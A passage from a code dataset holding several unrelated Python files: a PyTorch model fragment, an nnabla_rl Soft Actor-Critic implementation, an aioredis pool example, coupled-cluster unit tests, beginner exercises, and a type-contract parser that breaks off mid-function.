self.real_A = self.combine_from_4(self.real_A)\n self.real_B = self.combine_from_4(self.real_B)\n self.post_unet = self.combine_from_4(self.post_unet)\n self.fake_B = self.combine_from_4(self.fake_B)\n\n def __patch_instance_norm_state_dict(self, state_dict, module, keys, i=0):\n \"\"\"Fix InstanceNorm checkpoints incompatibility (prior to 0.4)\"\"\"\n key = keys[i]\n if i + 1 == len(keys): # at the end, pointing to a parameter/buffer\n if module.__class__.__name__.startswith('InstanceNorm') and \\\n (key == 'running_mean' or key == 'running_var'):\n if getattr(module, key) is None:\n state_dict.pop('.'.join(keys))\n if module.__class__.__name__.startswith('InstanceNorm') and \\\n (key == 'num_batches_tracked'):\n state_dict.pop('.'.join(keys))\n else:\n self.__patch_instance_norm_state_dict(state_dict, getattr(module, key), keys, i + 1)\n\n def load_base_networks(self):\n for name in self.preload_names:\n if isinstance(name, str):\n load_filename = 'base_net_%s.pth' % (name)\n load_path = os.path.join(self.save_dir, load_filename)\n net = getattr(self, 'net' + name)\n if isinstance(net, torch.nn.DataParallel):\n net = net.module\n print('loading the model from %s' % load_path)\n # if you are using PyTorch newer than 0.4 (e.g., built from\n # GitHub source), you can remove str() on self.device\n state_dict = torch.load(load_path, map_location=str(self.device))\n if hasattr(state_dict, '_metadata'):\n del state_dict._metadata\n\n # patch InstanceNorm checkpoints prior to 0.4\n for key in list(state_dict.keys()): # need to copy keys here because we mutate in loop\n self.__patch_instance_norm_state_dict(state_dict, net, key.split('.'))\n net.load_state_dict(state_dict)\n\n def break_into_4(self, image):\n return torch.cat(torch.chunk(torch.cat(torch.chunk(image, 2, dim=2), 0), 2, dim=3), 0)\n\n def combine_from_4(self, image):\n return torch.cat(torch.chunk(torch.cat(torch.chunk(image, 2, dim=0), 3), 2, dim=0), 2)\n","sub_path":"models/unet_resnet_L2_model.py","file_name":"unet_resnet_L2_model.py","file_ext":"py","file_size_in_byte":8824,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"153482719","text":"# Copyright 2020,2021 Sony Corporation.\n# Copyright 2021 Sony Group Corporation.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom dataclasses import dataclass\nfrom typing import Any, Dict, List, Optional, Union, cast\n\nimport gym\nimport numpy as np\n\nimport nnabla as nn\nimport nnabla.solvers as NS\nimport nnabla_rl.environment_explorers as EE\nimport nnabla_rl.model_trainers as MT\nfrom nnabla_rl.algorithm import Algorithm, AlgorithmConfig, eval_api\nfrom nnabla_rl.builders import ModelBuilder, ReplayBufferBuilder, SolverBuilder\nfrom nnabla_rl.environment_explorer import EnvironmentExplorer\nfrom nnabla_rl.environments.environment_info import EnvironmentInfo\nfrom nnabla_rl.model_trainers.model_trainer import ModelTrainer, TrainingBatch\nfrom nnabla_rl.models import QFunction, SACPolicy, SACQFunction, StochasticPolicy\nfrom nnabla_rl.replay_buffer import ReplayBuffer\nfrom nnabla_rl.utils import context\nfrom nnabla_rl.utils.data import add_batch_dimension, marshal_experiences, set_data_to_variable\nfrom nnabla_rl.utils.misc import create_variable, sync_model\n\n\n@dataclass\nclass SACConfig(AlgorithmConfig):\n '''SACConfig\n List of configurations for SAC algorithm\n\n Args:\n gamma (float): discount factor of rewards. Defaults to 0.99.\n learning_rate (float): learning rate which is set to all solvers. \\\n You can customize/override the learning rate for each solver by implementing the \\\n (:py:class:`SolverBuilder `) by yourself. \\\n Defaults to 0.0003.\n batch_size(int): training batch size. Defaults to 256.\n tau (float): target network's parameter update coefficient. Defaults to 0.005.\n environment_steps (int): Number of steps to interact with the environment on each iteration. Defaults to 1.\n gradient_steps (int): Number of parameter updates to perform on each iteration. Defaults to 1.\n target_entropy (float, optional): Target entropy value. Defaults to None.\n initial_temperature (float, optional): Initial value of temperature parameter. Defaults to None.\n fix_temperature (bool): If true the temperature parameter will not be trained. Defaults to False.\n start_timesteps (int): the timestep when training starts.\\\n The algorithm will collect experiences from the environment by acting randomly until this timestep.\\\n Defaults to 10000.\n replay_buffer_size (int): capacity of the replay buffer. Defaults to 1000000.\n '''\n\n gamma: float = 0.99\n learning_rate: float = 3.0*1e-4\n batch_size: int = 256\n tau: float = 0.005\n environment_steps: int = 1\n gradient_steps: int = 1\n target_entropy: Optional[float] = None\n initial_temperature: Optional[float] = None\n fix_temperature: bool = False\n start_timesteps: int = 10000\n replay_buffer_size: int = 1000000\n\n def __post_init__(self):\n '''__post_init__\n Check set values are in valid range.\n '''\n self._assert_between(self.tau, 0.0, 1.0, 'tau')\n self._assert_between(self.gamma, 0.0, 1.0, 'gamma')\n self._assert_positive(self.gradient_steps, 'gradient_steps')\n self._assert_positive(self.environment_steps, 'environment_steps')\n if self.initial_temperature is not None:\n self._assert_positive(\n self.initial_temperature, 'initial_temperature')\n self._assert_positive(self.start_timesteps, 'start_timesteps')\n\n\nclass DefaultQFunctionBuilder(ModelBuilder[QFunction]):\n def build_model(self, # type: ignore[override]\n scope_name: str,\n env_info: EnvironmentInfo,\n algorithm_config: SACConfig,\n **kwargs) -> QFunction:\n return SACQFunction(scope_name)\n\n\nclass DefaultPolicyBuilder(ModelBuilder[StochasticPolicy]):\n def build_model(self, # type: ignore[override]\n scope_name: str,\n env_info: EnvironmentInfo,\n algorithm_config: SACConfig,\n **kwargs) -> StochasticPolicy:\n return SACPolicy(scope_name, env_info.action_dim)\n\n\nclass DefaultSolverBuilder(SolverBuilder):\n def build_solver(self, # type: ignore[override]\n env_info: EnvironmentInfo,\n algorithm_config: SACConfig,\n **kwargs) -> nn.solver.Solver:\n return NS.Adam(alpha=algorithm_config.learning_rate)\n\n\nclass DefaultReplayBufferBuilder(ReplayBufferBuilder):\n def build_replay_buffer(self, # type: ignore[override]\n env_info: EnvironmentInfo,\n algorithm_config: SACConfig,\n **kwargs) -> ReplayBuffer:\n return ReplayBuffer(capacity=algorithm_config.replay_buffer_size)\n\n\nclass SAC(Algorithm):\n '''Soft Actor-Critic (SAC) algorithm implementation.\n\n This class implements the extended version of Soft Actor Critic (SAC) algorithm\n proposed by T. Haarnoja, et al. in the paper: \"Soft Actor-Critic Algorithms and Applications\"\n For detail see: https://arxiv.org/abs/1812.05905\n\n This algorithm is slightly differs from the implementation of Soft Actor-Critic algorithm presented\n also by T. Haarnoja, et al. in the following paper: https://arxiv.org/abs/1801.01290\n\n The temperature parameter is adjusted automatically instead of providing reward scalar as a\n hyper parameter.\n\n Args:\n env_or_env_info \\\n (gym.Env or :py:class:`EnvironmentInfo `):\n the environment to train or environment info\n config (:py:class:`SACConfig `): configuration of the SAC algorithm\n q_function_builder (:py:class:`ModelBuilder[QFunction] `):\n builder of q function models\n q_solver_builder (:py:class:`SolverBuilder `):\n builder of q function solvers\n policy_builder (:py:class:`ModelBuilder[StochasticPolicy] `):\n builder of actor models\n policy_solver_builder (:py:class:`SolverBuilder `):\n builder of policy solvers\n temperature_solver_builder (:py:class:`SolverBuilder `):\n builder of temperature solvers\n replay_buffer_builder (:py:class:`ReplayBufferBuilder `):\n builder of replay_buffer\n '''\n\n # type declarations to type check with mypy\n # NOTE: declared variables are instance variable and NOT class variable, unless it is marked with ClassVar\n # See https://mypy.readthedocs.io/en/stable/class_basics.html for details\n _config: SACConfig\n _q1: QFunction\n _q2: QFunction\n _train_q_functions: List[QFunction]\n _train_q_solvers: Dict[str, nn.solver.Solver]\n _target_q_functions: List[QFunction]\n\n _pi: StochasticPolicy\n _temperature: MT.policy_trainers.soft_policy_trainer.AdjustableTemperature\n _temperature_solver: Optional[nn.solver.Solver]\n _replay_buffer: ReplayBuffer\n\n _environment_explorer: EnvironmentExplorer\n _policy_trainer: ModelTrainer\n _q_function_trainer: ModelTrainer\n\n _eval_state_var: nn.Variable\n _eval_deterministic_action: nn.Variable\n _eval_probabilistic_action: nn.Variable\n\n _policy_trainer_state: Dict[str, Any]\n _q_function_trainer_state: Dict[str, Any]\n\n def __init__(self, env_or_env_info: Union[gym.Env, EnvironmentInfo],\n config: SACConfig = SACConfig(),\n q_function_builder: ModelBuilder[QFunction] = DefaultQFunctionBuilder(),\n q_solver_builder: SolverBuilder = DefaultSolverBuilder(),\n policy_builder: ModelBuilder[StochasticPolicy] = DefaultPolicyBuilder(),\n policy_solver_builder: SolverBuilder = DefaultSolverBuilder(),\n temperature_solver_builder: SolverBuilder = DefaultSolverBuilder(),\n replay_buffer_builder: ReplayBufferBuilder = DefaultReplayBufferBuilder()):\n super(SAC, self).__init__(env_or_env_info, config=config)\n\n with nn.context_scope(context.get_nnabla_context(self._config.gpu_id)):\n self._q1 = q_function_builder(scope_name=\"q1\", env_info=self._env_info, algorithm_config=self._config)\n self._q2 = q_function_builder(scope_name=\"q2\", env_info=self._env_info, algorithm_config=self._config)\n self._train_q_functions = [self._q1, self._q2]\n self._train_q_solvers = {q.scope_name: q_solver_builder(self._env_info, self._config)\n for q in self._train_q_functions}\n self._target_q_functions = [cast(QFunction, q.deepcopy('target_' + q.scope_name))\n for q in self._train_q_functions]\n\n self._pi = policy_builder(scope_name=\"pi\", env_info=self._env_info, algorithm_config=self._config)\n self._pi_solver = policy_solver_builder(self._env_info, self._config)\n\n self._temperature = MT.policy_trainers.soft_policy_trainer.AdjustableTemperature(\n scope_name='temperature',\n initial_value=self._config.initial_temperature)\n if not self._config.fix_temperature:\n self._temperature_solver = temperature_solver_builder(self._env_info, self._config)\n else:\n self._temperature_solver = None\n\n self._replay_buffer = replay_buffer_builder(self._env_info, self._config)\n\n @eval_api\n def compute_eval_action(self, state):\n with nn.context_scope(context.get_nnabla_context(self._config.gpu_id)):\n action, _ = self._compute_greedy_action(state, deterministic=True)\n return action\n\n def _before_training_start(self, env_or_buffer):\n # set context globally to ensure that the training runs on configured gpu\n context.set_nnabla_context(self._config.gpu_id)\n self._environment_explorer = self._setup_environment_explorer(env_or_buffer)\n self._policy_trainer = self._setup_policy_training(env_or_buffer)\n self._q_function_trainer = self._setup_q_function_training(\n env_or_buffer)\n\n def _setup_environment_explorer(self, env_or_buffer):\n if self._is_buffer(env_or_buffer):\n return None\n explorer_config = EE.RawPolicyExplorerConfig(\n warmup_random_steps=self._config.start_timesteps,\n initial_step_num=self.iteration_num,\n timelimit_as_terminal=False\n )\n explorer = EE.RawPolicyExplorer(policy_action_selector=self._compute_greedy_action,\n env_info=self._env_info,\n config=explorer_config)\n return explorer\n\n def _setup_policy_training(self, env_or_buffer):\n policy_trainer_config = MT.policy_trainers.SoftPolicyTrainerConfig(\n fixed_temperature=self._config.fix_temperature,\n target_entropy=self._config.target_entropy)\n policy_trainer = MT.policy_trainers.SoftPolicyTrainer(\n models=self._pi,\n solvers={self._pi.scope_name: self._pi_solver},\n temperature=self._temperature,\n temperature_solver=self._temperature_solver,\n q_functions=[self._q1, self._q2],\n env_info=self._env_info,\n config=policy_trainer_config)\n return policy_trainer\n\n def _setup_q_function_training(self, env_or_buffer):\n # training input/loss variables\n q_function_trainer_config = MT.q_value_trainers.SoftQTrainerConfig(\n reduction_method='mean',\n grad_clip=None)\n\n q_function_trainer = MT.q_value_trainers.SoftQTrainer(\n train_functions=self._train_q_functions,\n solvers=self._train_q_solvers,\n target_functions=self._target_q_functions,\n target_policy=self._pi,\n temperature=self._policy_trainer.get_temperature(),\n env_info=self._env_info,\n config=q_function_trainer_config)\n for q, target_q in zip(self._train_q_functions, self._target_q_functions):\n sync_model(q, target_q)\n return q_function_trainer\n\n def _run_online_training_iteration(self, env):\n for _ in range(self._config.environment_steps):\n self._run_environment_step(env)\n for _ in range(self._config.gradient_steps):\n self._run_gradient_step(self._replay_buffer)\n\n def _run_offline_training_iteration(self, buffer):\n self._sac_training(buffer)\n\n def _run_environment_step(self, env):\n experiences = self._environment_explorer.step(env)\n self._replay_buffer.append_all(experiences)\n\n def _run_gradient_step(self, replay_buffer):\n if self._config.start_timesteps < self.iteration_num:\n self._sac_training(replay_buffer)\n\n def _sac_training(self, replay_buffer):\n experiences, info = replay_buffer.sample(self._config.batch_size)\n (s, a, r, non_terminal, s_next, *_) = marshal_experiences(experiences)\n batch = TrainingBatch(batch_size=self._config.batch_size,\n s_current=s,\n a_current=a,\n gamma=self._config.gamma,\n reward=r,\n non_terminal=non_terminal,\n s_next=s_next,\n weight=info['weights'])\n\n self._q_function_trainer_state = self._q_function_trainer.train(batch)\n for q, target_q in zip(self._train_q_functions, self._target_q_functions):\n sync_model(q, target_q, tau=self._config.tau)\n self._policy_trainer_state = self._policy_trainer.train(batch)\n\n td_errors = np.abs(self._q_function_trainer_state['td_errors'])\n replay_buffer.update_priorities(td_errors)\n\n @eval_api\n def _compute_greedy_action(self, s, deterministic=False):\n # evaluation input/action variables\n s = add_batch_dimension(s)\n if not hasattr(self, '_eval_state_var'):\n self._eval_state_var = create_variable(1, self._env_info.state_shape)\n distribution = self._pi.pi(self._eval_state_var)\n self._eval_deterministic_action = distribution.choose_probable()\n self._eval_probabilistic_action = distribution.sample()\n set_data_to_variable(self._eval_state_var, s)\n if deterministic:\n self._eval_deterministic_action.forward()\n return np.squeeze(self._eval_deterministic_action.d, axis=0), {}\n else:\n self._eval_probabilistic_action.forward()\n return np.squeeze(self._eval_probabilistic_action.d, axis=0), {}\n\n def _models(self):\n models = [self._q1, self._q2, self._pi, self._temperature]\n return {model.scope_name: model for model in models}\n\n def _solvers(self):\n solvers = {}\n solvers[self._pi.scope_name] = self._pi_solver\n solvers.update(self._train_q_solvers)\n if self._temperature_solver is not None:\n solvers[self._temperature.scope_name] = self._temperature_solver\n return solvers\n\n @classmethod\n def is_supported_env(cls, env_or_env_info):\n env_info = EnvironmentInfo.from_env(env_or_env_info) if isinstance(env_or_env_info, gym.Env) \\\n else env_or_env_info\n return not env_info.is_discrete_action_env()\n\n @property\n def latest_iteration_state(self):\n latest_iteration_state = super(SAC, self).latest_iteration_state\n if hasattr(self, '_policy_trainer_state'):\n latest_iteration_state['scalar'].update({'pi_loss': self._policy_trainer_state['pi_loss']})\n if hasattr(self, '_q_function_trainer_state'):\n latest_iteration_state['scalar'].update({'q_loss': self._q_function_trainer_state['q_loss']})\n latest_iteration_state['histogram'].update(\n {'td_errors': self._q_function_trainer_state['td_errors'].flatten()})\n return latest_iteration_state\n","sub_path":"nnabla_rl/algorithms/sac.py","file_name":"sac.py","file_ext":"py","file_size_in_byte":16743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"517747602","text":"import asyncio\nimport aioredis\n\nloop = asyncio.get_event_loop()\n\n@asyncio.coroutine\ndef go():\n pool = yield from aioredis.create_pool(\n ('localhost', 6379),\n minsize=5, maxsize=10,\n loop=loop)\n with (yield from pool) as redis: # high-level redis API instance\n yield from redis.set('my-key', 'value')\n print((yield from redis.get('my-key')))\n pool.clear() # closing all open connections\n\nloop.run_until_complete(go())\nimport time\ntime.sleep(1)\n","sub_path":"aioredis/connection-pool.py","file_name":"connection-pool.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"197778365","text":"import unittest\nimport numpy\n\nfrom cqcpy import test_utils\nimport cqcpy.spin_utils as spin_utils\nimport cqcpy.cc_energy as cc_energy\nimport cqcpy.cc_equations as cc_equations\n\nclass TamplEquationsTest(unittest.TestCase):\n def setUp(self):\n self.thresh = 1e-12\n self.no = 3\n self.nv = 5\n\n def test_ccsd_stanton(self):\n no = self.no\n nv = self.nv\n T1old,T2old = test_utils.make_random_T(no,nv)\n F,I = test_utils.make_random_integrals(no,nv)\n\n T1sim,T2sim = cc_equations.ccsd_simple(F, I, T1old, T2old)\n T1stn,T2stn = cc_equations.ccsd_stanton(F, I, T1old, T2old)\n\n D1 = numpy.linalg.norm(T1sim - T1stn)\n D2 = numpy.linalg.norm(T2sim - T2stn)\n s1 = D1 < self.thresh\n s2 = D2 < self.thresh\n e1 = \"Error in optimized T1\"\n e2 = \"Error in optimized T2\"\n self.assertTrue(s1,e1)\n self.assertTrue(s2,e2)\n\n def test_ccd(self):\n no = self.no\n nv = self.nv\n T1old,T2old = test_utils.make_random_T(no,nv)\n F,I = test_utils.make_random_integrals(no,nv)\n T1old = numpy.zeros((nv,no))\n\n T2 = cc_equations.ccd_simple(F, I, T2old)\n T1sd,T2sd = cc_equations.ccsd_simple(F, I, T1old, T2old)\n\n D = numpy.linalg.norm(T2 - T2sd)\n s = D < self.thresh\n err = \"Error in CCD T2\"\n self.assertTrue(s,err)\n\n def test_ucc_energy(self):\n noa = self.no\n nob = self.no\n nva = self.nv\n nvb = self.nv\n na = noa + nva\n nb = nob + nvb\n no = noa + nob\n nv = nva + nvb\n Faa = test_utils.make_random_F(noa, nva)\n Fbb = test_utils.make_random_F(nob, nvb)\n\n # Direct integrals over a,b orbitals\n Ia = test_utils.make_random_I_anti(noa,nva)\n Ib = test_utils.make_random_I_anti(nob,nvb)\n Iabab = test_utils.make_random_Ifull_gen(\n noa,nva,nob,nvb,noa,nva,nob,nvb)\n\n # Full antisymmetric spin-orbital tensor\n I = spin_utils.int_to_spin2(Ia, Ib, Iabab, noa, nva, nob, nvb)\n F = spin_utils.F_to_spin(Faa, Fbb, noa, nva, nob, nvb)\n\n # initial T\n T1a,T1b = test_utils.make_random_T1_spatial(noa,nva,nob,nvb)\n T2aa,T2ab,T2bb = test_utils.make_random_T2_spatial(noa,nva,nob,nvb)\n T1 = spin_utils.T1_to_spin(T1a,T1b,noa,nva,nob,nvb)\n T2 = spin_utils.T2_to_spin(T2aa,T2ab,T2bb,noa,nva,nob,nvb)\n\n E_ref = cc_energy.cc_energy(T1,T2,F.ov,I.oovv)\n E_out = cc_energy.ucc_energy((T1a,T1b),(T2aa,T2ab,T2bb),Faa.ov,Fbb.ov,Ia.oovv,Ib.oovv,Iabab.oovv)\n s = abs(E_ref - E_out) < self.thresh\n err = \"Error in ucc_energy\"\n self.assertTrue(s,err)\n\n def test_uccsd(self):\n noa = self.no\n nob = self.no\n nva = self.nv\n nvb = self.nv\n na = noa + nva\n nb = nob + nvb\n no = noa + nob\n nv = nva + nvb\n Faa = test_utils.make_random_F(noa, nva)\n Fbb = test_utils.make_random_F(nob, nvb)\n\n # Direct integrals over a,b orbitals\n Ia = test_utils.make_random_I_anti(noa,nva)\n Ib = test_utils.make_random_I_anti(nob,nvb)\n I_abab = test_utils.make_random_Ifull_gen(\n noa,nva,nob,nvb,noa,nva,nob,nvb)\n\n # Full antisymmetric spin-orbital tensor\n I = spin_utils.int_to_spin2(Ia, Ib, I_abab, noa, nva, nob, nvb)\n F = spin_utils.F_to_spin(Faa, Fbb, noa, nva, nob, nvb)\n\n # initial T\n T1a,T1b = test_utils.make_random_T1_spatial(noa,nva,nob,nvb)\n T2aa,T2ab,T2bb = test_utils.make_random_T2_spatial(noa,nva,nob,nvb)\n T1 = spin_utils.T1_to_spin(T1a,T1b,noa,nva,nob,nvb)\n T2 = spin_utils.T2_to_spin(T2aa,T2ab,T2bb,noa,nva,nob,nvb)\n\n # Update with spin orbitals\n S1ref,S2ref = cc_equations.ccsd_stanton(F, I, T1, T2)\n\n # Update with UCCSD\n S1,S2 = cc_equations.uccsd_stanton(Faa, Fbb, Ia, Ib, I_abab, \n (T1a,T1b), (T2aa,T2ab,T2bb))\n S1a,S1b = S1\n S2aa,S2ab,S2bb = S2\n S1 = spin_utils.T1_to_spin(S1a, S1b, noa, nva, nob, nvb)\n S2 = spin_utils.T2_to_spin(S2aa, S2ab, S2bb, noa, nva, nob, nvb)\n z1 = numpy.linalg.norm(S1 - S1ref) / numpy.sqrt(S1.size)\n z2 = numpy.linalg.norm(S2 - S2ref) / numpy.sqrt(S2.size)\n s1 = z1 < self.thresh\n s2 = z2 < self.thresh\n e1 = \"Error in UCCSD T1\"\n e2 = \"Error in UCCSD T2\"\n self.assertTrue(s1,e1)\n self.assertTrue(s2,e2)\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"cqcpy/tests/test_cc_ampl.py","file_name":"test_cc_ampl.py","file_ext":"py","file_size_in_byte":4519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"529221518","text":"import pandas as pd\n\ndef print_words(string):\n \"\"\"\n Takes a given string, splits in into words and returns them to the screen\n \"\"\"\n words = string.split(' ')\n for word in words:\n print(word)\n\n# print_words('this is my first string')\n\n\ndef count_to(start, end, step=1):\n last_pos = start\n while last_pos <= end:\n print(last_pos)\n last_pos += step\n\n# print(count_to(25,50,5))\n\ndef print_chars(string):\n for char in string:\n print(char)\n\n# print_chars('this is my test string')\n\n\ndef print_vowels(string):\n consonants = ['a','e', 'i', 'o', 'u']\n result = []\n for char in string:\n if char in consonants:\n pass\n else:\n result.append(char)\n print(('').join(result))\n\n# print_vowels('Das is ein Test')\n\n\n\ndef odd_numbers(integers):\n for i in integers:\n if int(i) % 2 > 0:\n print(i)\n\ndef even_numbers(integers):\n for i in integers:\n if int(i) % 2 == 0:\n print(i)\n\ndef divisible_and_multiple(start, end, divisor=4, multiplicator=3):\n pos = start\n while pos <= end:\n if pos % 4 == 0 and pos % 3 == 0 :\n print(pos)\n pos += 1\n\n# divisible_and_multiple(10, 100)\n\n# odd_numbers('123456')\n# even_numbers('1234567')\n\n# print(ord('a'))\n\n\n# print(98- ord('A'))\n\ndef square_of_sum(string):\n result = 0\n for char in string:\n result += int(char)\n return result ** 2\n\n# print(square_of_sum('1239485838'))\n# print(dir('directory'))\n\ndef filter_um(string):\n words = list(string.split(' '))\n return [word for word in words if word != \"um\"]\n\n# print(filter_um('lak um um um sdflkj um alsdkjf l um um '))\n# print(dir(list))\n\n# Matches over all possible \ndef match_lotto(given, match):\n if len(given) != len(match):\n return False\n for number in given:\n if number not in list(match):\n return False\n return True\n\n# print(match_lotto('12346', '23451'))\n\ndef selectively_append(string, length=5):\n return [word for word in string.split(' ') if len(word) > 5]\n\n# print(selectively_append('lakjsdlfkj asdlf lkjkkkkk lkj lkj l lkj lkjlkj lkj lkj', 6))\n\n\ndef list_overlap(listA, listB):\n a = set(listA)\n b = set(listB)\n\n if len(a) > len(b):\n return [word for word in a if word in b]\n else:\n return [word for word in b if word in a]\n\n# b = [1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89]\n# a = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13]\n# print(list_overlap(a,b))\n\n\n\ndef is_palindrome(string):\n \n string = string.lower()\n for i in range(len(string)):\n print(string[i], string[-i-1])\n if string[i] != string[-i-1]:\n return False\n return True\n\n# print(is_palindrome('Anna'))\n\ndef keep_even(numbers):\n return [number for number in numbers if number % 2 == 0]\n# print(keep_even([1,2,3,4,5]))\n\n\n# Rock Paper Scissors\nimport random\ndef rock_paper_scissors(rounds=3):\n wins = []\n actions = ['Rock', 'Paper', 'Scissors']\n while True:\n print('Round:', len(wins)+ 1)\n print('Whats your choice')\n player = input(\"-->\")\n computer = actions[random.randint(0,2)]\n print('Computer chooses:', computer)\n \n # Generate a random gameplay\n if player == computer:\n pass\n elif player == 'Rock' and computer =='Scissors':\n wins.append(0)\n elif player == \"Scissors\" and computer == \"Paper\":\n wins.append(0)\n elif player == \"Paper\" and computer == \"Rock\":\n wins.append(0)\n else:\n wins.append(1)\n\n # Check if somebody already won\n if wins.count(0) == 3:\n print('Congratulations! You beat it!!')\n break\n elif wins.count(1) == 3:\n print('DAAAHHH! You sucked!')\n break\n\n print('You:', wins.count(0), 'Computer:', wins.count(1))\n\n# rock_paper_scissors()\n\ndef guessing_game(rng=9):\n goal = random.randint(1,rng)\n count = 0\n while True:\n count += 1\n print('Take a guess')\n guess = int(input('-->'))\n if guess == goal:\n print('You got it!! It took you only', count, 'tries...')\n break\n elif guess < goal:\n print('Guess higher')\n else:\n print('Guess lower')\n\n\n# guessing_game(1000)\n\n\ndef generate_password(length=5):\n s = \"abcdefghijklmnopqrstuvwxyz01234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()?\"\n return \"\".join(random.sample(s, length))\n\nprint(generate_password(16))\n# for i in range(49, 123):\n# print(chr(i))\n","sub_path":"DDD_Python/AAA_ProgrammingExercises/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":4562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"389940625","text":"import re\nimport argparse\nimport type_analysis\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"programs\", help=\"The file(s) for which types will be detected\", nargs=\"*\", type=argparse.FileType('r'))\n\n#NOTE: Later, I must account for what happens if more parameters are present in the header than the contract, and vise versa\n\nfunc_regex = \"(def .*?\\(.*?\\):)\"\n\nclass Signature(object):\n\t#string,string -> None\n\tdef __init__(self, contract, header):\n\t\tself.name = self.__get_name(header)\n\t\tself.param_names = self.__get_param_names(header)\n\t\tself.params = dict.fromkeys(self.param_names)\n\t\tself.returns = []\n\t\tif contract is not None:\n\t\t\tparam_types,return_types = self.__get_contract_types(contract)\n\t\t\tfor param_name,param_type in zip(self.param_names,param_types):\n\t\t\t\tself.params[param_name] = param_type\n\t\t\tself.returns = return_types\n\t\n\tdef __setitem__(self, key, value):\n\t\tif key==\"return\":\n\t\t\tself.returns = value\n\n\t#string -> string\n\tdef __getitem__(self, key):\n\t\tif key==\"return\":\n\t\t\treturn self.returns\n\t\telse:\n\t\t\treturn self.params[key]\n\t\n\t#string -> list[string]\n\tdef __get_param_names(self, header):\n\t\tparam_list = header[header.find('(')+1:header.find(')')]\n\t\treturn [param.strip() for param in param_list.split(',')]\n\n\t#string -> list[string]\n\tdef __get_contract_types(self, contract):\n\t\tif contract is None:\n\t\t\treturn None,None\n\t\tparam_contract,return_contract = [piece.strip() for piece in contract.split(\"->\")]\n\t\tparam_types = [param.strip() for param in param_contract.split(',')]\n\t\treturn_types = [ret.strip() for ret in return_contract.split(',')]\n\t\treturn param_types,return_types\n\n\t#string -> string\n\tdef __get_name(self, header):\n\t\treturn header[:header.find('(')].strip()\n\n\t#None -> string\n\tdef __str__(self):\n\t\tcontract = \"\"\n\t\tfor param in self.param_names:\n\t\t\tcontract += \"{0},\".format(self.params[param])\n\t\tif contract.endswith(','):\n\t\t\tcontract = contract[:-1].strip()\n\t\t\n\t\tcontract += \" -> \"\n\n\t\tfor return_type in self.returns:\n\t\t\tcontract += \"{0},\".format(return_type)\n\t\tif contract.endswith(','):\n\t\t\tcontract = contract[:-1].strip()\n\t\t\n\t\treturn contract\n\nclass Function(object):\n\t#list[string] -> None\n\tdef __init__(self, func):\n\t\tself.contract,func = Function.get_contract(func)\n\t\tself.header,func = Function.get_header(func)\n\t\tself.body = func\n\n\t\tself.signature = Signature(self.contract,self.header)\n\t\tself.name = self.signature.name\n\n\t#None -> string\n\tdef __str__(self):\n\t\tstring = \"#{0}\\ndef {1}:\\n\".format(self.signature,self.header)\n\t\tfor line in self.body:\n\t\t\tstring += \"{0}\\n\".format(line)\n\t\treturn string\n\t\n\t#string -> string,string\n\t#NOTE: Later, also parse from function docstring\n\t@staticmethod\n\tdef get_contract(func):\n\t\tif func[0].startswith(\"#\"):\n\t\t\treturn func[0][1:],func[1:]\n\t\telse:\n\t\t\treturn None,func\n\n\t#string -> string,string\n\t@staticmethod\n\tdef get_header(func):\n\t\theader = func[0]\n\t\theader = header[4:header.find(':')].strip()\n\t\treturn header,func[1:]\n\t\n\t#string -> bool\n\t@staticmethod\n\tdef has_next(program_text):\n\t\treturn re.search(func_regex,program_text) is not None\n\n\t#string -> string,string,string,string\n\t@staticmethod\n\tdef next_func(program_text):\n\t\tif not Function.has_next(program_text):\n\t\t\traise StopIteration(\"All functions have ben extracted from this file.\")\n\n\t\tpieces = re.split(func_regex,program_text)\n\t\tbefore = pieces[0]\n\t\tfunc,after = Function.__find_func(pieces[1],pieces[2].splitlines()[1:]) #NOTE: I ignore the first element of splitlines because it always seems to be empty. I DO NOT KNOW IF THIS IS THE CASE\n\t\tcontract = before.splitlines()[-1]\n\t\tif contract.startswith(\"#\") and \"->\" in contract:\n\t\t\tbefore = before[:before.find(contract)]\n\t\t\tfunc = \"{0}\\n{1}\".format(contract,func)\n\t\tend_pos = len(before) + len(func) + len(after)\n\t\tprogram_text = program_text[end_pos+1:]\n\t\treturn before.lstrip('\\n'),func.lstrip('\\n'),after.lstrip('\\n'),program_text\n\t\n\t#string,list[string] -> string,string\n\t@staticmethod\n\tdef __find_func(header,rest):\n\t\ttab_str = \"{0}\\t\".format(Function.__calc_indent(header))\n\n\t\tfunc = \"{0}\\n\".format(header)\n\t\tline_num = 0\n\t\tfor line in rest:\n\t\t\tif line.startswith(tab_str) or line.startswith(\"#\"):\n\t\t\t\tfunc += \"{0}\\n\".format(line)\n\t\t\t\tline_num += 1\n\t\t\telse:\n\t\t\t\tbreak\n\t\tif func[-1]=='\\n':\n\t\t\tfunc = func[:-1]\n\t\t\n\t\tafter = \"\"\n\t\tfor line in rest[line_num:]:\n\t\t\tafter += \"{0}\\n\".format(line)\n\t\tif after[-1]=='\\n':\n\t\t\tafter = after[:-1]\n\n\t\treturn func,after\n\t\n\t#string -> int\n\t@staticmethod\n\tdef __calc_indent(line):\n\t\ttab_str = \"\"\n\t\tfor char in line:\n\t\t\tif char!='\\t':\n\t\t\t\treturn tab_str\n\t\t\ttab_str += '\\t'\n\t\treturn tab_str\n\n#file -> None\ndef detect_types(program):\n\tfunction_list = []\n\torig_program = program\n\toutside_func = 